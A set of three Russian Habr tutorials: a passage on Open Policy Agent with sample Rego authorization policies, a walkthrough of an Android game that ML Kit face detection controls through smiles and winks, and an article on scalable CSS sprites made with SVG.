### Развертывание
Когда дело доходит до развертывания OPA, у вас есть несколько вариантов в зависимости от вашего конкретного сценария:
* **В качестве библиотеки Go**: если ваше приложение написано на Golang, вы можете реализовать OPA как стороннюю библиотеку в приложении.
* **В качестве демона**: если вы не используете Go, вы можете развернуть OPA, как и любую другую службу, в качестве демона. В этом случае рекомендуется использовать дополнительный контейнер или запускать его на уровне хоста. Причина в том, что такая конструкция увеличивает производительность и доступность. Представьте, что у вас есть OPA, развернутый в Kubernetes в отдельном модуле, который находится на отдельном узле, а не на том, где работает модуль вашего приложения. Теперь, каждый раз, когда вашей службе требуется обратиться к OPA для принятия решения о политике, она должна совершать вызов по сети, чтобы связаться с модулем, в котором работает OPA. Это приводит к ненужной задержке и может вызывать задержки приложений в часы пик.
### Как управлять и контролировать OPA?
Чтобы еще больше уменьшить задержку, разработчики решили, что OPA должен хранить все данные политики в памяти. Это гарантирует, что OPA не будет запрашивать данные у другой службы. Для работы с OPA у вас есть набор API, которые служат для разных целей:
* **API сервиса Bundle**: используется для отправки данных политики в OPA. OPA постоянно опрашивает API службы Bundle в поисках новых версий политики. После обнаружения он извлекает и применяет новую версию.
* **API статуса сервиса**: используется для определения статуса сервиса. Он сообщает вам текущую версию политики, которая активна в OPA.
* **API службы журнала решений**: каждый раз, когда OPA принимает решение о политике, оно регистрирует его. Позже он отправляет пакеты этих журналов в API службы журналов. Это особенно полезно для аудита и устранения неполадок.
* **Инструменты для создания, тестирования и отладки политик**: набор инструментов командной строки, которые вы можете использовать, например, opa test, opa run, opa check и т. д. Для упрощения разработки доступен также подключаемый [плагин VS Code](https://marketplace.visualstudio.com/items?itemName=tsandall.opa).
### Ваша первая политика OPA
К настоящему времени у вас должно быть довольно четкое представление о том, почему появился OPA, проблемы, которые он пытается решить, и как он был спроектирован и решен. Пришло время проверить воду и посмотреть, каково это — создавать политику на языке Rego. Первый шаг — сформулировать свою политику на простом английском языке. Например:
«Клиенты должны иметь возможность просматривать свои собственные платежи. Сотрудники финансового отдела должны иметь возможность просматривать любые платежи клиентов».
Следующим шагом будет преобразование политики в код Rego. Для этого мы можем [использовать Rego](https://play.openpolicyagent.org/). Итак, на главной панели очистите код, который уже был добавлен туда, и добавьте следующее:
```
package play
# Customers should be able to view their own payments
allow = true {
input.method = "GET"
input.path = ["payments", customer_id]
input.user = customer_id
}
```
Давайте рассмотрим этот фрагмент построчно:
1. Любые строки, начинающиеся со знака решетки (#), являются комментариями. Всегда полезно писать о том, что ваша политика должна делать, в виде связного, удобочитаемого комментария.
2. `allow = true` означает, что решение будет разрешено, если следующие «оценки» верны.
3. Метод ввода — GET. Любой другой метод HTTP (POST, PUT и т. Д.) Нарушит политику.
4. Путь: `/payments/customer_id`. Обратите внимание, что `customer_id` не заключен в кавычки, что означает, что это переменная, которую необходимо подставить во время вызова.
5. Пользователь также должен быть `customer_id`.
Если бы мы перевели этот код обратно на простой язык, это выглядело бы примерно так:
«Разрешите запрос, если он использует метод GET, путь — `/payments/customer_id`, а пользователь — тот же `customer_id`. Что эффективно позволяет клиенту просматривать свои собственные платежные данные ».
Rego также позволяет вам оценить ваш код и убедиться, что политика работает должным образом. В панели INPUT мы можем подделать законный запрос, добавив следующий код:
```
{
"method": "GET",
"path": ["payments","bob"],
"user": "bob"
}
```
Обратите внимание, что INPUT использует произвольный JSON. Нет никаких особых правил, которым нужно следовать при отправке запроса. Теперь давайте посмотрим, как OPA ответит на этот запрос о решении, нажав кнопку Evaluate. На панели OUTPUT должно отображаться следующее:
```
{
"allow": true
}
```
Ниже приведен снимок экрана площадки после выполнения вышеуказанных действий:
Теперь давайте попробуем изменить пользователя в запросе на alice, что означает, что клиент пытается просмотреть платежи другого клиента. Если мы нажмем Evaluate, вы заметите, что на выходе отображается пустой объект JSON {}. Причина в том, что OPA не знает, что отправлять, если политика не соответствует. Чтобы изменить это поведение, добавьте следующий оператор перед телом политики:
```
default allow = false
```
Итак, вся политика должна выглядеть так:
```
package play
# Customers should be able to view their own payments
default allow = false
allow = true {
input.method = "GET"
input.path = ["payments", customer_id]
input.user = customer_id
}
```
Теперь, если вы нажмете Evaluate, вы увидите ожидаемый результат:
```
{
"allow": false
}
```
Обратите внимание, что Rego настолько мощна, что вы можете выбирать части политики и оценивать ее независимо от остальной политики. Это может быть очень полезно, когда у вас сложная политика, которая дает ложную оценку, хотя этого не должно быть. В этом случае вы можете выбрать части политики и посмотреть, где именно возникает ошибка.
Хорошо, теперь, когда мы выполнили первую часть нашей политики, давайте перейдем ко второй части: сотрудники финансового отдела должны иметь возможность просматривать любые платежи клиентов.
Добавьте следующие строки после политики, которую мы определили ранее:
Сотрудники финансового отдела могут просматривать любые платежи клиентов
```
allow = true {
input.method = "GET"
input.path = ["payments", customer_id]
finance[input.user]
}
finance = {"john","mary","peter","vivian"}
```
Большая часть этой политики похожа на предыдущую, за исключением строки 4. Вместо оценки того, совпадает ли идентификатор пользователя с идентификатором клиента, мы оцениваем, является ли пользователь частью финансового объекта JSON. Rego имеет множество встроенных конструкций, которые позволяют делать много полезных вещей, включая поиск. Наконец, мы определяем финансовый объект и добавляем имена пользователей для сотрудников, работающих в этой группе. В реальном сценарии этот объект JSON будет передаваться как часть запроса INPUT или как токен. Теперь давайте протестируем политику, задав для пользователя и клиента одно и то же имя (например, bob). Политика должна возвращать истину. Измените пользователя на john (который работает в финансовом отделе) и протестируйте политику. Опять же, он должен вернуть истину. Наконец, измените имя пользователя на любое имя, которое не работает в финансовом отделе (скажем, Джейн), и политика должна вернуть false.
Вы можете узнать больше о языке Rego и о том, что с ним делать, обратившись к [официальной документации](https://www.openpolicyagent.org/docs/latest/policy-language/).
### Интеграция OPA с другими системами
Как упоминалось ранее, OPA можно интегрировать со многими современными платформами. Давайте посмотрим на несколько примеров того, что OPA может для вас сделать:
#### Kubernetes:
* Убедитесь, что имена узлов входа изменяются только командой внешнего интерфейса.
* Запретить извлекать любые образы, кроме тех, которые поступают из корпоративного реестра Docker.
* Принудительное использование запросов и ограничений для любых модулей, созданных в кластере.
#### Авторизация API:
* Вы можете использовать OPA с Envoy, Istio и другими платформами для обеспечения контроля IAM. Например, вы можете легко контролировать доступ сотрудников службы безопасности к конфиденциальным данным.
#### Linux PAM:
* Подключаемые модули аутентификации (PAM) уже давно используются в Linux для предоставления детализированных элементов управления множеству служб, включая SSH и sudo. OPA имеет плагин PAM, который позволяет ему интегрироваться с PAM и применять политики. Например, вы можете ограничить доступ по SSH к своим производственным машинам, если только в нерабочее время или если у пользователя нет открытой заявки в службу поддержки.
Есть также много других продуктов, которые можно интегрировать с OPA, чтобы предоставить безграничные возможности. Например, Kafka, ElasticSearch, SQLite и CEPH и многие другие.
### TL; DR
* Необходимость авторизации так же стара, как и само программное обеспечение.
* Отсутствие централизованной системы авторизации, которая может использоваться между различными системами и платформами, вызвало множество проблем. Например, API-интерфейсы могут иметь собственную логику авторизации, встроенную в код, другие микросервисы могут зависеть от одной или нескольких внешних систем авторизации. Это делает развертывание новых политик, проверку версии существующей или даже внесение незначительных изменений в очень сложную операцию.
* OPA работает, выступая в качестве консультанта той службы, которая должна принять решение об авторизации. Служба отправляет запрос решения в OPA, затем OPA проверяет запрос на основе уже сохраненных в нем политик и отвечает с решением.
* OPA был разработан как универсальный и не зависящий от платформы. Соответственно, вам не нужно соблюдать какие-либо правила при отправке запросов или определении того, как будет выглядеть результат. Запросы и ответы отправляются в формате JSON.
* Политики могут быть написаны на Rego, языке, специально разработанном для OPA. Подобно JavaScript, OPA позволяет очень легко преобразовать простые английские правила в действующие политики OPA.
* Инструмент «Rego» — отличный способ опробовать ваши политики перед их внедрением.
* OPA можно развернуть либо как библиотеку Go, которая становится частью двоичного файла приложения, либо как автономный демон.
* Поскольку принятие решений о политике происходит при каждом запросе API, настоятельно рекомендуется разместить демон OPA как можно ближе к приложению. Например, как дополнительный контейнер в модуле Kubernetes или как демон, работающий на самом узле. Эта практика помогает уменьшить задержку и уменьшить сетевой трафик.
* OPA использует ряд API-интерфейсов, которые упрощают внедрение новых политик, проверку версии и статуса существующих или сбор данных аудита и журналов.
* В этой статье мы рассмотрели простую демонстрацию того, как использовать язык Rego для обеспечения соблюдения политики. В этом примере мы показали, насколько легко реализовать сложную политику и протестировать ее с помощью языка Rego и инструмента «игровая площадка».
* OPA может интегрироваться со многими современными системами и платформами, такими как Kubernetes, Kafka, SQLite, CEPH и Terraform. С помощью подключаемого модуля PAM он также может интегрироваться с Linux PAM для обеспечения расширенного контроля политик на демонах Linux, использующих PAM (например, sshd и sudo).
Немного рекламы: На платформе <https://rotoro.cloud/> вы можете найти курсы с практическими занятиями:
* [Ansible для начинающих + практический опыт](https://rotoro.cloud/ld-courses/ansible-%D0%B4%D0%BB%D1%8F-%D0%BD%D0%B0%D1%87%D0%B8%D0%BD%D0%B0%D1%8E%D1%89%D0%B8%D1%85-%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D0%BE%D0%BF%D1%8B%D1%82/)
* [Certified Kubernetes Administrator (CKA) + практический опыт](https://rotoro.cloud/ld-courses/certified-kubernetes-administrator-cka-%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D0%BE%D0%BF%D1%8B%D1%82/)
* [Docker для начинающих + практический опыт](https://rotoro.cloud/ld-courses/docker-%D0%B4%D0%BB%D1%8F-%D0%BD%D0%B0%D1%87%D0%B8%D0%BD%D0%B0%D1%8E%D1%89%D0%B8%D1%85-%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D0%BE%D0%BF%D1%8B%D1%82/)
* [Kubernetes для начинающих + практический опыт](https://rotoro.cloud/ld-courses/kubernetes-%D0%B4%D0%BB%D1%8F-%D0%BD%D0%B0%D1%87%D0%B8%D0%BD%D0%B0%D1%8E%D1%89%D0%B8%D1%85-%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D0%BE%D0%BF%D1%8B%D1%82/)
* [Terraform для начинающих + практический опыт](https://rotoro.cloud/ld-courses/terraform-%D0%B4%D0%BB%D1%8F-%D0%BD%D0%B0%D1%87%D0%B8%D0%BD%D0%B0%D1%8E%D1%89%D0%B8%D1%85-%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D0%BE%D0%BF%D1%8B%D1%82/)
* [Практика для вхождения в IT (Linux, Docker, git, Jenkins)](https://rotoro.cloud/ld-courses/wiki-practice/) | https://habr.com/ru/post/555538/ | null | ru | null |
# Делаем игру с управлением улыбкой
Привет! Меня зовут Иван Шафран, недавно я присоединился к команде видео ВКонтакте в роли программиста-разработчика для Android. Участвую в создании как продуктовых приложений, так и SDK. Время от времени я посещаю хакатоны, где можно реализовывать любые безумные идеи. Сегодня расскажу, как за пару часов сделать прототип мобильной игры с необычным управлением: персонаж будет реагировать на улыбку и подмигивание.
[](https://habr.com/ru/company/vk/blog/514530/)
Как возникла идея
=================
Мысль создать такую игру пришла как раз во время хакатона. Формат предполагал, что на разработку есть один рабочий день, то есть 8 часов. Чтобы успеть сделать прототип, я выбрал Android SDK. Возможно, лучше подошли бы игровые движки, но в них я не разбираюсь.
Концепцию управления с помощью эмоций подсказала другая игра: там движения персонажа можно было задавать, меняя громкость своего голоса. Может, и эмоции уже кто-то использовал в игровом управлении. Но я знаю мало таких примеров, поэтому остановился на этом формате.
> Осторожно громкое видео!
Настраиваем окружение для разработки
====================================
Нам понадобится только [Android Studio](https://developer.android.com/studio/install) на компьютере. Если нет [реального устройства](https://developer.android.com/training/basics/firstapp/running-app#RealDevice) на Android для запуска, можно воспользоваться [эмулятором](https://developer.android.com/training/basics/firstapp/running-app#Emulator) с включённой [веб-камерой](https://stackoverflow.com/a/30792615/7958563).
Создаём проект с ML Kit
=======================
[ML Kit](https://developers.google.com/ml-kit) — отличный инструмент, который поможет впечатлить жюри хакатона: ведь вы используете AI в прототипе! А вообще он помогает встраивать в проекты решения на основе машинного обучения, например функциональность для определения объектов в кадре, перевода и распознавания текста.
Для нас важно, что у ML Kit есть бесплатный offline API для распознавания улыбки и открытых или закрытых глаз.
Раньше, чтобы создать любой проект с ML Kit, нужно было сначала зарегистрироваться в [консоли Firebase](https://console.firebase.google.com/). Теперь этот шаг можно пропустить для офлайн-функциональности.
Android-приложение
==================
Удаляем лишнее
--------------
Чтобы не писать логику по работе с камерой с нуля, возьмём [официальный семпл](https://github.com/googlesamples/mlkit/tree/master/android/vision-quickstart) и уберём из него то, что нам не нужно.
Для начала скачайте [пример](https://github.com/googlesamples/mlkit/tree/master/android/vision-quickstart) и попробуйте запустить. Исследуйте режим Face detection: выглядеть это будет, как на превью статьи.
### Манифест
Начнём правки с AndroidManifest.xml. Удалим все теги activity, кроме первого. А на его место выставим CameraXLivePreviewActivity, чтобы сразу запускаться с камеры. В значении атрибута android:value оставляем только face, чтобы исключить из APK ненужные нам ресурсы.
```
```
[Полный diff шага.](https://github.com/IvanShafran/emotion-control-game-prototype/commit/308329405d6c9669a2fa8246580c0bcb925c7a9f)
### Камера
Сэкономим время — не будем удалять лишние файлы, вместо этого сконцентрируемся на элементах экрана CameraXLivePreviewActivity.
* На строке 117 установим режим face detection:
```
private String selectedModel = FACE_DETECTION;
```
* На строке 118 включим фронтальную камеру:
```
private int lensFacing = CameraSelector.LENS_FACING_FRONT;
```
* В конце метода onCreate на строках 198–199 скроем настройки
```
findViewById( R.id.settings_button ).setVisibility( View.GONE );
findViewById( R.id.control ).setVisibility( View.GONE );
```
На этом можно остановиться. Но если отрисовка FPS и сетка лица визуально отвлекают, то выключить их можно так:
* В файле VisionProcessorBase.java удаляем строки 213–215, чтобы скрыть FPS:
```
graphicOverlay.add(
new InferenceInfoGraphic(
graphicOverlay, currentLatencyMs, shouldShowFps ? framesPerSecond : null));
```
* В файле FaceDetectorProcessor.java удаляем строки 75–78, чтобы скрыть сетку лица:
```
for (Face face : faces) {
graphicOverlay.add(new FaceGraphic(graphicOverlay, face));
logExtrasForTesting(face);
}
```
[Полный diff шага.](https://github.com/IvanShafran/emotion-control-game-prototype/commit/dc76cb50ce67e41f61aec8d047421620666e3a5b)
Распознаём эмоции
-----------------
Распознавание улыбки по умолчанию выключено, но запустить его очень просто. Не зря же мы брали пример кода за основу! Выделим необходимые нам параметры в отдельный класс и объявим интерфейс слушателя:
**FaceDetectorProcessor.java**
```
// В классе FaceDetectorProcessor.java
public class FaceDetectorProcessor extends VisionProcessorBase> {
public static class Emotion {
public final float smileProbability;
public final float leftEyeOpenProbability;
public final float rightEyeOpenProbability;
public Emotion(float smileProbability, float leftEyeOpenProbability, float rightEyeOpenProbability) {
this.smileProbability = smileProbability;
this.leftEyeOpenProbability = leftEyeOpenProbability;
this.rightEyeOpenProbability = rightEyeOpenProbability;
}
}
public interface EmotionListener {
void onEmotion(Emotion emotion);
}
private EmotionListener listener;
public void setListener(EmotionListener listener) {
this.listener = listener;
}
@Override
protected void onSuccess(@NonNull List faces, @NonNull GraphicOverlay graphicOverlay) {
if (!faces.isEmpty() && listener != null) {
Face face = faces.get(0);
if (face.getSmilingProbability() != null &&
face.getLeftEyeOpenProbability() != null && face.getRightEyeOpenProbability() != null) {
listener.onEmotion(new Emotion(
face.getSmilingProbability(),
face.getLeftEyeOpenProbability(),
face.getRightEyeOpenProbability()
));
}
}
}
}
```
Чтобы включить классификацию эмоций, настроим FaceDetectorProcessor в классе CameraXLivePreviewActivity и подпишемся на получение состояния эмоций. Затем вероятности преобразуем в булевы флаги. Для тестирования в вёрстку добавим TextView, в котором покажем эмоции через смайлы.
[Полный diff шага.](https://github.com/IvanShafran/emotion-control-game-prototype/commit/7cadcdede6a4bb67a32d78ffd23e0d44f25d0eec)
Разделяй и играй
----------------
Раз мы делаем игру, нужно место для рисования элементов. Будем считать, что она запускается на телефоне в портретном режиме. Значит, разделим экран на две части: камера сверху и игра снизу.
Контролировать персонажа с помощью улыбки сложно, к тому же на хакатоне мало времени для реализации продвинутой механики. Поэтому наш персонаж будет собирать ништяки по дороге, находясь либо в верхней части игрового поля, либо в нижней. Действия с закрытыми или открытыми глазами добавим как усложнение игры: поймали ништяк с закрытым глазом — очки удваиваются (~~либо пол-экрана не видно и можно грабить корованы~~).
Если хотите реализовать другой игровой процесс, то могу подсказать несколько занятных вариантов:
* Guitar Hero / Just Dance — аналог, где под музыку нужно показывать определённую эмоцию;
* гонка с преодолением препятствий, где нужно доехать до финиша за определённое время или не разбившись;
* шутер, где подмигиванием игрок делает выстрел в противника.
Отображать игру будем в кастомном Android View — там в методе onDraw нарисуем персонажа на Canvas. В первом прототипе ограничимся геометрическими примитивами.
### Игрок
Наш персонаж — это квадрат. При инициализации зададим его размеры и установим положение слева, так как он будет находиться на месте. Позиция по оси Y будет зависеть от улыбки игрока. Все абсолютные значения будем высчитывать относительно размеров области игры. Это проще, чем подбирать конкретные размеры, — да и на новых устройствах получим приемлемый вид.
```
private var playerSize = 0
private var playerRect = RectF()
// Инициализируем размеры в зависимости от высоты View
private fun initializePlayer() {
playerSize = height / 4
playerRect.left = playerSize / 2f
playerRect.right = playerRect.left + playerSize
}
// Имеем в полях класса флаги эмоций
private var flags: EmotionFlags
// Устанавливаем положение в зависимости от улыбки
private fun movePlayer() {
playerRect.top = getObjectYTopForLine(playerSize, isTopLine = flags.isSmile).toFloat()
playerRect.bottom = playerRect.top + playerSize
}
// Получаем позицию top для объекта с высотой size,
// чтобы он был посередине верхней или нижней дорожки
private fun getObjectYTopForLine(size: Int, isTopLine: Boolean): Int {
return if (isTopLine) {
width / 2 - width / 4 - size / 2
} else {
width / 2 + width / 4 - size / 2
}
}
// Храним paint в полях класса, так как создавать его на каждый кадр накладно
private val playerPaint = Paint(Paint.ANTI_ALIAS_FLAG).apply {
style = Paint.Style.FILL
color = Color.BLUE
}
// Рисуем наш квадрат на Canvas
private fun drawPlayer(canvas: Canvas) {
canvas.drawRect(playerRect, playerPaint)
}
```
### Тортик
Наш персонаж «бежит» и пытается ловить тортики, чтобы набрать как можно больше очков. Мы используем стандартный приём с переходом в систему отсчёта относительно игрока: он будет стоять на месте, а тортики — лететь к нему. Если квадрат тортика пересекается с квадратом игрока, то засчитываем балл. А если при этом хотя бы один глаз у пользователя закрыт — два балла ¯ \ \_ ( ツ ) \_ / ¯
Также в нашей вселенной будет всего один ~~электрон~~ тортик. Как только персонаж его съедает, он перемещается за экран на случайную полосу со случайной координатой. Так улыбка игрока не войдёт в резонанс при предсказуемом появлении тортика.
```
// При инициализации тортика сразу перемещаем его за экран
private fun initializeCake() {
cakeSize = height / 8
moveCakeToStartPoint()
}
private fun moveCakeToStartPoint() {
// Выбираем случайную позицию справа за экраном
cakeRect.left = width + width * Random.nextFloat()
cakeRect.right = cakeRect.left + cakeSize
// Случайно выбираем полосу сверху или снизу
val isTopLine = Random.nextBoolean()
cakeRect.top = getObjectYTopForLine(cakeSize, isTopLine).toFloat()
cakeRect.bottom = cakeRect.top + cakeSize
}
// Двигаем тортик относительно прошедшего времени от прошлого кадра
private fun moveCake() {
val currentTime = System.currentTimeMillis()
val deltaTime = currentTime - previousTimestamp
val deltaX = cakeSpeed * width * deltaTime
cakeRect.left -= deltaX
cakeRect.right = cakeRect.left + cakeSize
previousTimestamp = currentTime
}
// Если тортик и игрок пересекаются, то прибавляем очки
private fun checkPlayerCaughtCake() {
if (RectF.intersects(playerRect, cakeRect)) {
score += if (flags.isLeftEyeOpen && flags.isRightEyeOpen) 1 else 2
moveCakeToStartPoint()
}
}
// Если игрок пропустил тортик, то возвращаем тортик на стартовую позицию
private fun checkCakeIsOutOfScreenStart() {
if (cakeRect.right < 0) {
moveCakeToStartPoint()
}
}
```
Что получилось
--------------
Показ баллов сделаем очень простым. Будем выводить число в центре экрана. Нужно только учесть высоту текста и сделать отступ сверху для красоты.
```
private val scorePaint = Paint(Paint.ANTI_ALIAS_FLAG).apply {
color = Color.GREEN
textSize = context.resources.getDimension(R.dimen.score_size)
}
private var score: Int = 0
private var scorePoint = PointF()
private fun initializeScore() {
val bounds = Rect()
scorePaint.getTextBounds("0", 0, 1, bounds)
val scoreMargin = resources.getDimension(R.dimen.score_margin)
scorePoint = PointF(width / 2f, scoreMargin + bounds.height())
score = 0
}
```
Смотрим, какую игрушку мы сделали:
[Полный diff шага.](https://github.com/IvanShafran/emotion-control-game-prototype/commit/9fe378837c5e606203ad00c1c8b8d9b22a70cbbe)
Графоний
========
Чтобы игру было не стыдно показывать на презентации хакатона, добавим немного графония!
Картинки
--------
Исходим из того, что рисовать впечатляющую графику мы не умеем. К счастью, есть сайты с бесплатными ассетами для игр. Мне понравился [вот этот](https://web.archive.org/web/20191004010332/https://www.gameart2d.com/freebies.html), хотя сейчас он недоступен напрямую по неизвестной мне причине.
Анимация
--------
Мы рисуем на Canvas, а значит, анимацию нужно реализовывать самим. Если есть картинки с анимацией, запрограммировать это будет легко. Вводим класс для объекта со сменяющимися изображениями.
```
class AnimatedGameObject(
private val bitmaps: List,
private val duration: Long
) {
fun getBitmap(timeInMillis: Long): Bitmap {
val mod = timeInMillis % duration
val index = (mod / duration.toFloat()) \* bitmaps.size
return bitmaps[index.toInt()]
}
}
```
Чтобы получился эффект движения, фон тоже должен быть анимированным. Иметь серию кадров фона в памяти — накладная история. Поэтому поступим хитрее: одно изображение будем рисовать со сдвигом по времени. Схема идеи:
[Полный diff шага.](https://github.com/IvanShafran/emotion-control-game-prototype/commit/0e22be63149d2ee62d9b1f92eab24d42487fd5a2)
Финальный результат
===================
Сложно назвать это шедевром, но для прототипа за вечер сойдёт. Код можно найти [тут](https://github.com/IvanShafran/emotion-control-game-prototype). Запускается локально без дополнительных махинаций.
В заключение добавлю, что ML Kit Face Detection может пригодиться и для других сценариев.
Например, чтобы делать идеальные селфи с друзьями: можно анализировать всех людей в кадре и убеждаться, что все улыбнулись и открыли глаза. Определение нескольких лиц в видеопотоке работает из коробки, поэтому задача несложная.
Используя распознавание контуров лица из модуля Face Detection, реально повторить маски, которые сейчас популярны почти во всех приложениях с камерой. А если добавить интерактив — через определение улыбки и подмигивания, — то пользоваться ими будет вдвойне весело.
Эту функциональность — определение контуров лица — можно применять не только для развлечений. Те, кто сами пытались вырезать фото на документы, оценят. Берём контур лица, автоматически вырезаем фото с нужным соотношением сторон и правильным положением головы. Определить правильный угол съёмки поможет датчик гироскопа. | https://habr.com/ru/post/514530/ | null | ru | null |
# Масштабируем CSS спрайты с SVG, убивая сразу трех зайцев
Привет, Хабр.
Сразу хочу отметить, что если мы говорим об иконках, их можно масштабировать двумя способами (других я просто не знаю): конвертировать иконки в шрифт и подключать их через @font-face, либо использовать SVG в качестве формата для этих иконок.
Немного отойду от темы и расскажу предысторию.
#### Предыстория
Я было решил использовать у себя на сайте шрифтовые иконки, казалось бы все хорошо: и размер менять можно, и цвет задавать и запрос к серверу всего один (на подключение шрифта). Другими словами, подключаемый шрифт это и есть своеобразный «CSS спрайт», верно?
Я давай проверять, везде ли все красиво выглядит. Оказалось, что не все так хорошо как хотелось бы, потому как в некоторых размерах иконки выглядели кособокими, а при отключенном сглаживании вообще противно смотреть на них стало. Что делать? Использовать второй вариант — SVG, о чем и пойдет речь.
#### CSS спрайт с SVG
Идея складывать спрайт в SVG формат не нова. Наверняка, многие читали [этот пост](http://coding.smashingmagazine.com/2012/01/16/resolution-independence-with-svg/) на smashingmagazine. Так вот, я решил развить мысль автора, поэкспериментировать и предложить более гибкий вариант. А чтобы стало все понятно, некоторые примеры повторю здесь.
Итак, для начала нам нужно сделать SVG спрайт. Как сделать SVG файл программно я пока не разобрался (надеюсь сообщество меня простит и даст ссылку где про это почитать). Поэтому я буду делать свой спрайт в CorelDRAW (Illustrator думаю тоже подойдет) и сохранять в SVG.
Для быстрой реализации я использовал шрифт и напечатал вот такие иконки (кликабельно):
[](http://habrastorage.org/storage2/fb6/35d/591/fb635d591a788d1107fd0c3e73b357e1.png)
Возьмем произвольный HTML код для примера:
```
[Twitter](#)
[Facebook](#)
[Вконтакте](#)
[Google+](#)
[RSS](#)
```
Напишем в CSS самое основное:
```
.icons a {
float: left;
display: inline-block;
padding: 4px 0 4px 25px;
margin-right: 5px;
text-decoration: none;
color: #444;
/* вызов спрайта и задание размеров */
background-image: url('sprite.svg');
background-repeat: no-repeat;
background-size: 20px auto;
}
/* такой вариант рассмотрен на smashingmagazine.com, только
вместо px используются em как относительная величина */
.icons .tw {background-position: 0 0;}
.icons .fb {background-position: 0 -48px;}
.icons .vk {background-position: 0 -96px;}
.icons .gl {background-position: 0 -144px;}
.icons .rs {background-position: 0 -192px;}
```
Стоит отметить одну особенность, что *sprite.svg* создан с четко заданными размерами 76x520, т.е. максимальный размер до которого мы можем увеличить нашу иконку будет 76x76.
А что если сохранить SVG с относительными размерами, те. в процентах? Это ведь лучше, т.к. иконки теперь можно будет масштабировать до абсолютно любого размера и не терять при этом их качества.
Немного подправим стили в CSS:
```
/* этот блок остается без изменений */
.icons a {
float: left;
display: inline-block;
padding: 4px 0 4px 25px;
margin-right: 5px;
text-decoration: none;
color: #444;
/* вызов спрайта и задание размеров */
background-image: url('sprite.svg');
background-repeat: no-repeat;
background-size: 20px auto;
}
/* а здесь меняем абсолютную величину на относительную */
.icons .tw {background-position: 0 0;}
.icons .fb {background-position: 0 -25%;}
.icons .vk {background-position: 0 -50%;}
.icons .gl {background-position: 0 -75%;}
.icons .rs {background-position: 0 -100%;}
```
Результат одинаковый, но `background-size` может быть любым, каким угодно.
#### Создание сложных спрайтов
В примере выше использовано всего 5 иконок и высчитать проценты не так сложно. Давайте рассмотрим более сложный пример. Пока с теми же «шрифтовыми» иконками. Допустим у нас такой спрайт:
Что мы делаем, либо добавлем в html новый тег `i`, для которого можем написать стили с иконкой:
```
[Twitter](#)
[Facebook](#)
[Вконтакте](#)
[Google+](#)
[RSS](#)
```
Либо оформляем иконку используя псевдоэлементы `::before` или `::after`. Я буду использовать псевдоэлемент `::before`, вы — как вам больше нравится.
Обратите внимание, что я не стал придумывать новые классы для ссылок (ведь спрайт поменялся) и оставил прежние, разумеется для новых иконок классы будут свои. А мы рассмотрим с этими, чтоб не захламить кодом пост.
Итак, внесем изменения в CSS:
```
.icons a {
float: left;
display: inline-block;
padding: 4px 0 4px 25px;
margin-right: 5px;
text-decoration: none;
color: #444;
/* добавляем */
position: relative;
}
/* создаем общий стиль для ::before */
.icons a::before {
position: absolute;
left: 0;
top: 0;
content: '';
width: 25px;
height: 25px;
/* вызов спрайта и задание размеров */
background-image: url('sprite.svg');
background-repeat: no-repeat;
background-size: 20px auto;
}
/* а здесь дописываем псевдоэлемент и задаем позицию в спрайте
(соответственно для нового спрайта позиции будут другие, о чем ниже) */
.icons .tw::before {background-position: 0 0;}
.icons .fb::before {background-position: 0 -25%;}
.icons .vk::before {background-position: 0 -50%;}
.icons .gl::before {background-position: 0 -75%;}
.icons .rs::before {background-position: 0 -100%;}
```
Сделаю несколько пояснений, а то я уже сам чуть было не запутался :).
В `background-size: 20px auto;` число «20» это необходимый нам размер иконки, а «auto» это оставшийся размер спрайта. Если мы заменим «auto» например на 20px, то у нас вместо одной иконки получится весь спрайт размером 20x20 пикселей.
Кроме того, на размер иконки теперь еще влияет ширина и высота блока формируемая псевдоэлементом, т.е. вместе с `background-size` теперь нужно менять `width` и `height`, чтобы иконка не обрезалась.
##### Высчитываем относительные размеры
Пожалуй, это ключевой момент и здесь стоит сделать выбор, либо вы задаете абсолютные размеры и при изменении `background-size`, `width` и `height` меняете их тоже, либо (что сложнее) высчитываете относительные размеры и при изменении `background-size`, `width` и `height` больше ничего не меняете.
Итак, фактический размер спрайта 500x250 пикселей, по 10 иконок в строчку и по 5 в столбик, итого 50 иконок (в примере 49) размером 50x50 пикселей каждая.
Высчитать размер довольно просто, т.к. будем отталкиваться от фактического размера спрайта. Кто работал со спрайтами объяснять не стоит. Правда здесь есть одна тонкость — размер иконки у нас уменьшен до 20 пикселей, соотвественно спрайт тоже изменился и стал равен 200x100 пикселей (10\*20 и 5\*20), а значит и размеры (`background-position`) мы будем считать, либо 0 0, 0 -20px, -20px 0, -20px -20px, 0 -40px, -40px 0, -40px -40px и т.д., либо 0 0, 0 -11,1%, 0 -22,2%, 0 -33,3, 25% 0, 25% -11,1%, 25% -22,2%, 25% -33,3 и т.д.
Таким образом мы можем сделать любой сложности спрайт и высчитать `background-position` для каждого элемента. К счастью или сожалению, пытливый ум не дает остановиться на сказанном, поэтому бегло рассмотрим еще более сложный пример.
#### Более сложный спрайт с SVG
Допустим, у нас есть некий дизайн, совсем приблизительно изобразил (кликабельно):
[](http://habrastorage.org/storage2/b93/ef3/a1f/b93ef3a1f109012343ac2200a4f2d041.png)
Предположим, что прямоугольники это какие-то красивые клипарты, трудно, но предположим. Что мы можем сделать:
1. Сложить все слои в спрайт не меняя исходный размер и позиционировать каждый объект в соответствующем элементе;
2. Сложить все слои в спрайт, предварительно приведя все объекты к одному размеру и позиционировать каждый объект в соответствующем элементе меняя размер объекта до неоходимой величины.
Приводить пример HTML или CSS кода, думаю, уже не имеет смысла. И так все понятно, настраивается по аналогии с предыдущими примерами.
#### В заключении
Теперь хочу подвести итог и отметить плюсы спрайтов с SVG. Во-первых, у нас получился всего один файл, а значит один запрос к северу — заяц1 убит, во-вторых, вес SVG файла гораздо меньше, чем например PNG или JPG, а значит и скорость загрузки выше — заяц2 убит, в-третьих, мы получили неограниченных размеров спрайт без потери качества изображения, а значит решили задачу с неограниченным масштабированием изображения — заяц3 убит.
